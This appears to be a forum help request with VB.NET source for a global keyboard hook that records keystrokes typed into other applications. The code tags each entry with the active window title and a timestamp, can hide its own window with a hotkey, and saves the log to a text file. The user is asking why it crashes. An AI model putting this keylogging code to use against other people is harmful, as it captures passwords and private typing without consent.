while trying to record the keystrokes from outside the application (ie a notepad) i'm getting 2 exception " NullReferenceException was unhandled." and "callbackoncollecteddelegate was detected "
Expand|Select|Wrap|Line Numbers
- Imports System.Runtime.InteropServices
- Imports System.IO
- Public Class Form1
- Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Integer) As Integer
- Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Integer, ByVal lpfn As KeyboardHookDelegate, ByVal hmod As Integer, ByVal dwThreadId As Integer) As Integer
- Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
- 'Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
- Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
- Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
- Private Delegate Function KeyboardHookDelegate(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
- Private Const WM_KEYUP As Integer = &H101
- Private Const WM_KEYDOWN As Short = &H100S
- Private Const WM_SYSKEYDOWN As Integer = &H104
- Private Const WM_SYSKEYUP As Integer = &H105
- Private KeyboardHandle As New IntPtr
- Private LastCheckedForegroundTitle As String = ""
- Private callback As KeyboardHookDelegate = Nothing
- Private KeyLog As String
- Public Structure KBDLLHOOKSTRUCT
- Public vkCode As Integer 'KeyCode (Of interest to us)
- Public scanCode As Integer 'ScanCode
- Public flags As Integer
- Public time As Integer
- Public dwExtraInfo As Integer
- End Structure
- <StructLayout(LayoutKind.Sequential)> Public Structure Point
- Public x As Integer
- Public y As Integer
- End Structure
- 'MouseHookStruct structure declaration.
- <StructLayout(LayoutKind.Sequential)> Public Structure MouseHookStruct
- Public pt As Point
- Public hwnd As Integer
- Public wHitTestCode As Integer
- Public dwExtraInfo As Integer
- End Structure
- Enum virtualKey
- K_Return = &HD
- K_Backspace = &H8
- K_Space = &H20
- K_Tab = &H9
- K_Esc = &H1B
- End Enum
- Public Sub HookKeyboard()
- callback = New KeyboardHookDelegate(AddressOf KeyboardCallback)
- KeyboardHandle = SetWindowsHookEx(13, callback, Process.GetCurrentProcess.MainModule.BaseAddress, 0)
- End Sub
- Private Function Hooked()
- Return KeyboardHandle <> 0
- End Function
- Public Function KeyboardCallback(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
- 'Get current foreground window title
- Dim CurrentTitle = GetActiveWindowTitle()
- 'If title of the foreground window changed
- If CurrentTitle <> LastCheckedForegroundTitle Then
- LastCheckedForegroundTitle = CurrentTitle
- 'Add a little header containing the application title and date
- KeyLog &= vbCrLf & "----------- " & CurrentTitle & " (" & Now.ToString() & ") ------------" & vbCrLf
- End If
- 'Variable to hold the text describing the key pressed
- Dim Key As String = ""
- 'If event is KEYDOWN
- If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then
- 'If we can block events
- If Code >= 0 Then
- 'If Ctrl+Alt+S
- If My.Computer.Keyboard.CtrlKeyDown And My.Computer.Keyboard.AltKeyDown Then
- Me.Visible = Not Me.Visible 'Hide/Show form
- Return 1 'Block event
- End If
- End If
- 'Translate virtual key into character/expression
- Select Case lParam.vkCode
- Case virtualKey.K_Esc
- Key = virtualKey.K_Esc
- Case virtualKey.K_Backspace
- Key = ChrW(lParam.vkCode + 8)
- End Select
- End If
- Key = "wParam=" & wParam & ";" & "lParam=" & lParam.vkCode & vbCrLf
- 'Add it to the log
- KeyLog &= Key
- Return CallNextHookEx(KeyboardHandle, Code, wParam, lParam) 'Let event go to the other applications
- End Function
- Private Function GetActiveWindowTitle() As String
- Dim MyStr As String
- MyStr = New String(Chr(0), 100)
- GetWindowText(GetForegroundWindow, MyStr, 100)
- MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
- Return MyStr
- End Function
- Public Sub UnhookKeyboard()
- If (Hooked()) Then
- If UnhookWindowsHookEx(KeyboardHandle) <> 0 Then
- KeyboardHandle = 0 'We have unhooked successfully
- End If
- End If
- End Sub
- Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
- End Sub
- Private Sub btnstart_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnrecord.Click
- Timer1.Enabled = True
- End Sub
- Private Sub btnstop_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnstop.Click
- My.Computer.FileSystem.WriteAllText(CurDir() & "\keys.txt", KeyLog, True)
- Timer1.Enabled = False
- UnhookKeyboard()
- End Sub
- Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
- HookKeyboard()
- End Sub
- Private Sub btnbrowse_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnbrowse.Click
- Dim ID As String
- Dim openDlg As OpenFileDialog = New OpenFileDialog()
- openDlg.Title = "Select the File"
- If (openDlg.ShowDialog() = Windows.Forms.DialogResult.OK) Then
- TextFolderName.Text = openDlg.FileName
- ID = Shell(TextFolderName.Text, AppWinStyle.NormalFocus)
- Else
- Exit Sub
- End If
- btnbrowse.Visible = True
- End Sub
- End Class